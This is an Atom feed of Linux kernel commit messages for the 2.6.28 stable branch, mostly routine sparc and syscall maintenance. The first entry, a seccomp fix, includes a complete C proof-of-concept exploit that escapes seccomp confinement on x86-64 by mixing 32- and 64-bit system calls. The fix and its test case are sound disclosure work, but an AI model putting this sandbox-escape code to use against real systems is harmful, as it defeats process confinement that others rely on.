<feed xmlns='http://www.w3.org/2005/Atom'>
<title>kernel.git/arch/sparc, branch linux-2.6.28.y</title>
<subtitle>Hosts the 0x221E linux distro kernel.
</subtitle>
<id>https://git.0xinfinity.dev/distro/kernel.git/atom?h=linux-2.6.28.y</id>
<link rel='self' href='https://git.0xinfinity.dev/distro/kernel.git/atom?h=linux-2.6.28.y'/>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/'/>
<updated>2009-03-17T00:32:21Z</updated>
<entry>
<title>x86-64: seccomp: fix 32/64 syscall hole</title>
<updated>2009-03-17T00:32:21Z</updated>
<author>
<name>Roland McGrath</name>
</author>
<published>2009-02-28T07:25:54Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=1ab4bad21786384ff68dc6576d021acd4e42d8ce'/>
<id>urn:sha1:1ab4bad21786384ff68dc6576d021acd4e42d8ce</id>
<content type='text'>
commit 5b1017404aea6d2e552e991b3fd814d839e9cd67 upstream.

On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call.  A 64-bit process make a 32-bit system call with int $0x80.

In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table.  The fix is simple: test TS_COMPAT
instead of TIF_IA32.  Here is an example exploit:

	/* test case for seccomp circumvention on x86-64

	   There are two failure modes: compile with -m64 or compile with -m32.

	   The -m64 case is the worst one, because it does "chmod 777 ." (could
	   be any chmod call).  The -m32 case demonstrates it was able to do
	   stat(), which can glean information but not harm anything directly.

	   A buggy kernel will let the test do something, print, and exit 1; a
	   fixed kernel will make it exit with SIGKILL before it does anything.
	*/

	#define _GNU_SOURCE
	#include &lt;assert.h&gt;
	#include &lt;inttypes.h&gt;
	#include &lt;stdio.h&gt;
	#include &lt;linux/prctl.h&gt;
	#include &lt;sys/stat.h&gt;
	#include &lt;unistd.h&gt;
	#include &lt;asm/unistd.h&gt;

	int
	main (int argc, char **argv)
	{
	  char buf[100];
	  static const char dot[] = ".";
	  long ret;
	  unsigned st[24];

	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");

	#ifdef __x86_64__
	  assert ((uintptr_t) dot &lt; (1UL &lt;&lt; 32));
	  asm ("int $0x80 # %0 &lt;- %1(%2 %3)"
	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
	  ret = snprintf (buf, sizeof buf,
			  "result %ld (check mode on .!)\n", ret);
	#elif defined __i386__
	  asm (".code32\n"
	       "pushl %%cs\n"
	       "pushl $2f\n"
	       "ljmpl $0x33, $1f\n"
	       ".code64\n"
	       "1: syscall # %0 &lt;- %1(%2 %3)\n"
	       "lretl\n"
	       ".code32\n"
	       "2:"
	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&amp;st));
	  if (ret == 0)
	    ret = snprintf (buf, sizeof buf,
			    "stat . -&gt; st_uid=%u\n", st[7]);
	  else
	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
	#else
	# error "not this one"
	#endif

	  write (1, buf, ret);

	  syscall (__NR_exit, 1);
	  return 2;
	}

Signed-off-by: Roland McGrath &lt;roland@redhat.com&gt;
[ I don't know if anybody actually uses seccomp, but it's enabled in
  at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds &lt;torvalds@linux-foundation.org&gt;
Signed-off-by: Greg Kroah-Hartman &lt;gregkh@suse.de&gt;

</content>
</entry>
<entry>
<title>Remove __attribute__((weak)) from sys_pipe/sys_pipe2</title>
<updated>2009-01-18T18:43:51Z</updated>
<author>
<name>Heiko Carstens</name>
</author>
<published>2009-01-14T13:13:56Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=085edf4999da237c254869130ec6c60f5417f9e0'/>
<id>urn:sha1:085edf4999da237c254869130ec6c60f5417f9e0</id>
<content type='text'>
commit 1134723e96f6e2abcf8bfd7a2d1c96fcc323ef35 upstream.

Remove __attribute__((weak)) from common code sys_pipe implemantation.
IA64, ALPHA, SUPERH (32bit) and SPARC (32bit) have own implemantations
with the same name. Just rename them.
For sys_pipe2 there is no architecture specific implementation.

Cc: Richard Henderson &lt;rth@twiddle.net&gt;
Cc: David S. Miller &lt;davem@davemloft.net&gt;
Cc: Paul Mundt &lt;lethal@linux-sh.org&gt;
Cc: Tony Luck &lt;tony.luck@intel.com&gt;
Signed-off-by: Heiko Carstens &lt;heiko.carstens@de.ibm.com&gt;
Signed-off-by: Greg Kroah-Hartman &lt;gregkh@suse.de&gt;
</content>
</entry>
<entry>
<title>Rename old_readdir to sys_old_readdir</title>
<updated>2009-01-18T18:43:51Z</updated>
<author>
<name>Heiko Carstens</name>
</author>
<published>2009-01-14T13:13:55Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=f5f7564062f518230ce6a749be151477e528874a'/>
<id>urn:sha1:f5f7564062f518230ce6a749be151477e528874a</id>
<content type='text'>
commit e55380edf68796d75bf41391a781c68ee678587d upstream.

This way it matches the generic system call name convention.

Signed-off-by: Heiko Carstens &lt;heiko.carstens@de.ibm.com&gt;
Signed-off-by: Greg Kroah-Hartman &lt;gregkh@suse.de&gt;
</content>
</entry>
<entry>
<title>sparc: We need to implement arch_ptrace_stop().</title>
<updated>2008-12-17T05:55:44Z</updated>
<author>
<name>David S. Miller</name>
</author>
<published>2008-12-17T05:55:44Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=878a5535957b563c447d32866a9e606c55fef091'/>
<id>urn:sha1:878a5535957b563c447d32866a9e606c55fef091</id>
<content type='text'>
In order to always provide fully synchronized state to the debugger,
we might need to do a synchronize_user_stack().

A pair of hooks, arch_ptrace_stop_needed() and arch_ptrace_stop(),
exist to handle this kind of situation.  It was created for
the sake of IA64.

Use them, to flush the kernel side cached register windows
to the user stack, when necessary.

Signed-off-by: David S. Miller &lt;davem@davemloft.net&gt;
</content>
</entry>
<entry>
<title>sparc: asm/bitops.h should define __fls</title>
<updated>2008-12-04T00:04:52Z</updated>
<author>
<name>Rusty Russell</name>
</author>
<published>2008-12-04T00:04:52Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=e8e8e80ee047b131a0cd6a3e96e0f8dfa14f6d99'/>
<id>urn:sha1:e8e8e80ee047b131a0cd6a3e96e0f8dfa14f6d99</id>
<content type='text'>
bitops_64.h includes the generic one; pretty sure 32 should too.

(Found by using __fls in generic code and breaking sparc defconfig build:
 thanks Stephen and linux-next!)

Signed-off-by: Rusty Russell &lt;rusty@rustcorp.com.au&gt;
Signed-off-by: David S. Miller &lt;davem@davemloft.net&gt;
</content>
</entry>
<entry>
<title>remove __ARCH_WANT_COMPAT_SYS_PTRACE</title>
<updated>2008-11-30T19:00:15Z</updated>
<author>
<name>Christoph Hellwig</name>
</author>
<published>2008-11-25T07:10:03Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=96b8936a9ed08746e47081458a5eb9e43a751e24'/>
<id>urn:sha1:96b8936a9ed08746e47081458a5eb9e43a751e24</id>
<content type='text'>
All architectures now use the generic compat_sys_ptrace, as should every
new architecture that needs 32bit compat (if we'll ever get another).

Remove the now superflous __ARCH_WANT_COMPAT_SYS_PTRACE define, and also
kill a comment about __ARCH_SYS_PTRACE that was added after
__ARCH_SYS_PTRACE was already gone.

Signed-off-by: Christoph Hellwig &lt;hch@lst.de&gt;
Acked-by: David S. Miller &lt;davem@davemloft.net&gt;
Signed-off-by: Linus Torvalds &lt;torvalds@linux-foundation.org&gt;
</content>
</entry>
<entry>
<title>fix the section noise in sparc head.S</title>
<updated>2008-11-30T18:03:37Z</updated>
<author>
<name>Al Viro</name>
</author>
<published>2008-11-22T17:36:04Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=5bac287ea51bb8678c3875d87a536071ef0fd590'/>
<id>urn:sha1:5bac287ea51bb8678c3875d87a536071ef0fd590</id>
<content type='text'>
usual .text.head trick

Signed-off-by: Al Viro &lt;viro@zeniv.linux.org.uk&gt;
Signed-off-by: Linus Torvalds &lt;torvalds@linux-foundation.org&gt;
</content>
</entry>
<entry>
<title>sparc32 cpuinit flase positives</title>
<updated>2008-11-30T18:03:35Z</updated>
<author>
<name>Al Viro</name>
</author>
<published>2008-11-22T17:33:54Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=409832f5484cd1e2d8812c3236dffb33d01c359b'/>
<id>urn:sha1:409832f5484cd1e2d8812c3236dffb33d01c359b</id>
<content type='text'>
All noise since we don't have CPU hotplug there.  However, they
did expose something very odd-looking in there - poke_viking()
does a bunch of identical btfixup each time it's called (i.e.
for each CPU).  That one is left alone for now; just the trivial
misannotation fixes.

Signed-off-by: Al Viro &lt;viro@zeniv.linux.org.uk&gt;
Signed-off-by: Linus Torvalds &lt;torvalds@linux-foundation.org&gt;
</content>
</entry>
<entry>
<title>sparc64: wire up accept4()</title>
<updated>2008-11-20T02:49:57Z</updated>
<author>
<name>David Miller</name>
</author>
<published>2008-11-19T23:36:15Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=f8b2256e9c11a825899345de06b39a4bdf44911d'/>
<id>urn:sha1:f8b2256e9c11a825899345de06b39a4bdf44911d</id>
<content type='text'>
This adds the sparc syscall hookups.

Signed-off-by: David S. Miller &lt;davem@davemloft.net&gt;
Cc: Ulrich Drepper &lt;drepper@redhat.com&gt;
Cc: Michael Kerrisk &lt;mtk.manpages@gmail.com&gt;
Signed-off-by: Andrew Morton &lt;akpm@linux-foundation.org&gt;
Signed-off-by: Linus Torvalds &lt;torvalds@linux-foundation.org&gt;
</content>
</entry>
<entry>
<title>sparc: Fix tty compile warnings.</title>
<updated>2008-11-13T07:51:54Z</updated>
<author>
<name>Robert Reif</name>
</author>
<published>2008-11-13T07:51:54Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=e64ed0225bd82d4c108c9f78f46070cfade14fac'/>
<id>urn:sha1:e64ed0225bd82d4c108c9f78f46070cfade14fac</id>
<content type='text'>
This patch fixes tty compile warnings as sugested by Alan Cox:

CC drivers/char/n_tty.o
drivers/char/n_tty.c: In function normal_poll:
drivers/char/n_tty.c:1555: warning: array subscript is above array bounds
drivers/char/n_tty.c:1564: warning: array subscript is above array bounds
drivers/char/n_tty.c: In function read_chan:
drivers/char/n_tty.c:1269: warning: array subscript is above array bounds
CC drivers/char/tty_ioctl.o
drivers/char/tty_ioctl.c: In function set_termios:
drivers/char/tty_ioctl.c:533: warning: array subscript is above array 
bounds
drivers/char/tty_ioctl.c:537: warning: array subscript is above array 
bounds
drivers/char/tty_ioctl.c: In function tty_mode_ioctl:
drivers/char/tty_ioctl.c:662: warning: array subscript is above array 
bounds
drivers/char/tty_ioctl.c:892: warning: array subscript is above array 
bounds
drivers/char/tty_ioctl.c:896: warning: array subscript is above array 
bounds
drivers/char/tty_ioctl.c:577: warning: array subscript is above array 
bounds
drivers/char/tty_ioctl.c:928: warning: array subscript is above array 
bounds
drivers/char/tty_ioctl.c:934: warning: array subscript is above array 
bounds

Signed-off-by: Robert Reif &lt;reif@earthlink.net&gt;
Signed-off-by: David S. Miller &lt;davem@davemloft.net&gt;
</content>
</entry>
</feed>
